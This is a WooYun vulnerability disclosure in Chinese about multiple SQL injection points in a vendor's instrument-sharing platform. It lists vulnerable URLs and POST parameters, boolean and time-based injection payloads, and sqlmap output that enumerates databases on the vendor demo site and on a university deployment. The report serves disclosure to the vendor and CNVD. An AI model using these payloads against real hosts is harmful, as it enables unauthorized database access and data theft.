当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-059888

漏洞标题：某通用大型仪器共享平台系统多处SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： xfkxfk

提交时间：2014-05-08 13:59

修复时间：2014-08-06 14:00

公开时间：2014-08-06 14:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-08： 细节已通知厂商并且等待厂商处理中
2014-05-11： 厂商已经确认，细节仅向厂商公开
2014-05-14： 细节向第三方安全合作伙伴开放
2014-07-05： 细节向核心白帽子及相关领域专家公开
2014-07-15： 细节向普通白帽子公开
2014-07-25： 细节向实习白帽子公开
2014-08-06： 细节向公众公开

简要描述：

某通用大型仪器共享平台系统SQL注入

详细说明：

北京普诺迪信息系统技术研发有限责任公司
官网：http://www.bjprd.com.cn/index.asp
软件演示：http://www.bjprd.com.cn/lecture.asp

1.png


演示地址：
http://www.bjprd.com.cn/zcpt/index.asp
进入大型仪器共享平台系统：
http://www.bjprd.com.cn/PE/index.asp
政策法规处存在SQL注入：
http://www.bjprd.com.cn/PE/common/info.asp?id=213&str=1
其他多处问题一起提交了

1、http://www.bjprd.com.cn/PE/common/info.asp?id=213
2、http://www.bjprd.com.cn/PE/common/cxinfomx.asp?id=43912
3、http://www.bjprd.com.cn/PE/admin/Booking_Apply.asp(POST)condition=+and++1%3D1+and+1%3D1+and+%28%D6%D0%CE%C4%C3%FB%B3%C6+like+%27%25123%25%27+or+%D3%A2%CE%C4%C3%FB%B3%C6+like+%27%25123%25%27+or+%D2%C7%C6%F7%B1%F0%C3%FB+like+%27%25123%25%27%29+and+%D2%C7%C6%F7%B1%E0%BA%C5+%3D+%27123%27+and+%28%D0%CD%BA%C5+like+%27%25123%25%27+or+%B9%E6%B8%F1+like+%27%25123%25%27%29+and+%BC%BC%CA%F5%B2%CE%CA%FD+like+%27%25123%25%27&yuanxi=&syans=&instr_name=123&instr_ID=123&model=123&guideline=123
4、http://www.bjprd.com.cn/PE/admin/login_exe.asp(POST)username=123123&password=123123
5、http://www.bjprd.com.cn/PE/admin/insystem.asp?username=123123&password=123123&id=43912&submit=%C3%8C%C3%A1%C2%BD%C2%BB
6、http://www.bjprd.com.cn/PE/admin/booking.asp?id=43912(普通用户登陆:123/123)

漏洞证明：

官方演示证明：
http://www.bjprd.com.cn/PE/common/info.asp?id=213%27%20and%20%27a%27=%27a
返回正常：

2.png


http://www.bjprd.com.cn/PE/common/info.asp?id=213%27%20and%20%27a%27=%27b
返回异常：

3.png


可直接拖库：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=213' AND 9096=9096 AND 'gTPJ'='gTPJ
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=213'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=213' WAITFOR DELAY '0:0:5'--
---
[11:38:42] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2000
available databases [25]:
[*] cardata
[*] ClData
[*] CqData
[*] DzpData
[*] dzwweb
[*] EP
[*] gyzcdata
[*] hbweb
[*] HouseData
[*] JJData
[*] labweb
[*] master
[*] model
[*] msdb
[*] Northwind
[*] PeData
[*] pubs
[*] RJData
[*] SbData
[*] tempdb
[*] TsData
[*] WwData
[*] wxdata
[*] zcdb
[*] ZcgkData


实际案例证明：
中国矿业大学大型仪器共享平台：
http://219.219.35.55:81/preciouse/default.asp

---
[11:56:22] [INFO] testing Microsoft SQL Server
[11:56:22] [INFO] confirming Microsoft SQL Server
[11:56:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
available databases [12]:
[*] DzpData2.30
[*] HouseData
[*] JJData
[*] master
[*] model
[*] msdb
[*] SbData
[*] tempdb
[*] tsdata
[*] tsweb2009
[*] yqgxweb
[*] zcgkweb2009

修复方案：

过滤

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-05-11 21:14

厂商回复：

CNVD确认并复现所述情况，由CNVD通过公开联系渠道向北京普诺迪信息系统技术研发有限责任公司通报处置。

最新状态：

暂无